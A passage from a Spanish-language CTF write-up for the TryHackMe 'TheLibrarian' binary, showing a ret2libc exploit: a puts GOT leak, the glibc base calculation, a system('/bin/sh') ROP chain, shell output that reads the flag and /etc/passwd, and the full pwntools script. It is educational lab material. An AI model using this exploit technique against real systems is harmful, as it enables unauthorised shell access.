system_address = glibc_base_address + system_offset
bin_sh_address = glibc_base_address + bin_sh_offset

payload2 = junk
payload2 += p64(pop_rdi_ret)
payload2 += p64(bin_sh_address)
payload2 += p64(system_address)

Flag

Al enviar esta segunda ROP chain, conseguimos obtener una shell localmente.

$ python3 debug.py
[*] '/home/abund4nt/pwn/TryHackMe/TryPwnMe One/TheLibrarian/thelibrarian'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x3fe000)
    RUNPATH:    b'.'
    Stripped:   No
[+] Starting local process '/home/abund4nt/pwn/TryHackMe/TryPwnMe One/TheLibrarian/thelibrarian': pid 48480
[*] Leaked puts() address = 0x7e30e0c80970
[*] Glibc base address = 0x7e30e0c00000
[*] Switching to interactive mode
Again? Where this time? : 

ok, let's go!

$ whoami
abund4nt
$ uname -a
Linux work 6.8.0-52-generic #53-Ubuntu SMP PREEMPT_DYNAMIC Sat Jan 11 00:06:25 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux

Probamos en la instancia remota y también obtenemos una shell, lorando leer la flag.

$ python3 debug.py 
[*] '/home/abund4nt/pwn/TryHackMe/TryPwnMe One/TheLibrarian/thelibrarian'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x3fe000)
    RUNPATH:    b'.'
    Stripped:   No
[+] Opening connection to 10.10.110.222 on port 9008: Done
[*] Leaked puts() address = 0x7fb9caa54970
[*] Glibc base address = 0x7fb9ca9d4000
[*] Switching to interactive mode
Again? Where this time? : 

ok, let's go!

$ ls
flag.txt
ld-linux-x86-64.so.2
libc.so.6
run
$ cat flag.txt
THM{YAY_You_r3t_t0_libc_well_d0n3}
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

Acá el exploit completo.

from pwn import *

context.binary = ELF('./thelibrarian')
p = remote('10.10.80.224', 9008)

# padding
offset = 264
junk = b'A' * offset

puts_plt = 0x4004e0
puts_got = 0x601018
pop_rdi_ret = 0x0000000000400639
puts_offset = 0x80970
ret_gadget = 0x00000000004004c6

main_address = 0x000000000040067d

payload = junk
payload += p64(ret_gadget)
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_address)

p.sendline(payload)

p.recvuntil(b"ok, let's go!\n\n")
puts_addr = u64(p.recvline().rstrip().ljust(8, b"\x00"))
log.info(f'Leaked puts() address: {hex(puts_addr)}')

glibc_base_address = puts_addr - puts_offset
log.info(f'Glibc base address: {hex(glibc_base_address)}')

system_offset = 0x4f420
bin_sh_offset = 0x1b3d88

system_address = system_offset + glibc_base_address
bin_sh_address = bin_sh_offset + glibc_base_address

payload2 = junk
payload2 += p64(pop_rdi_ret)
payload2 += p64(bin_sh_address)
payload2 += p64(system_address)

p.sendline(payload2)

# save address
p.recvuntil("ok, let's go!\n\n")
puts_address = u64(p.recvline().strip().ljust(8, b'\0'))
log.info(f'Leaked puts() address: {hex(puts_address)}')


p.interactive()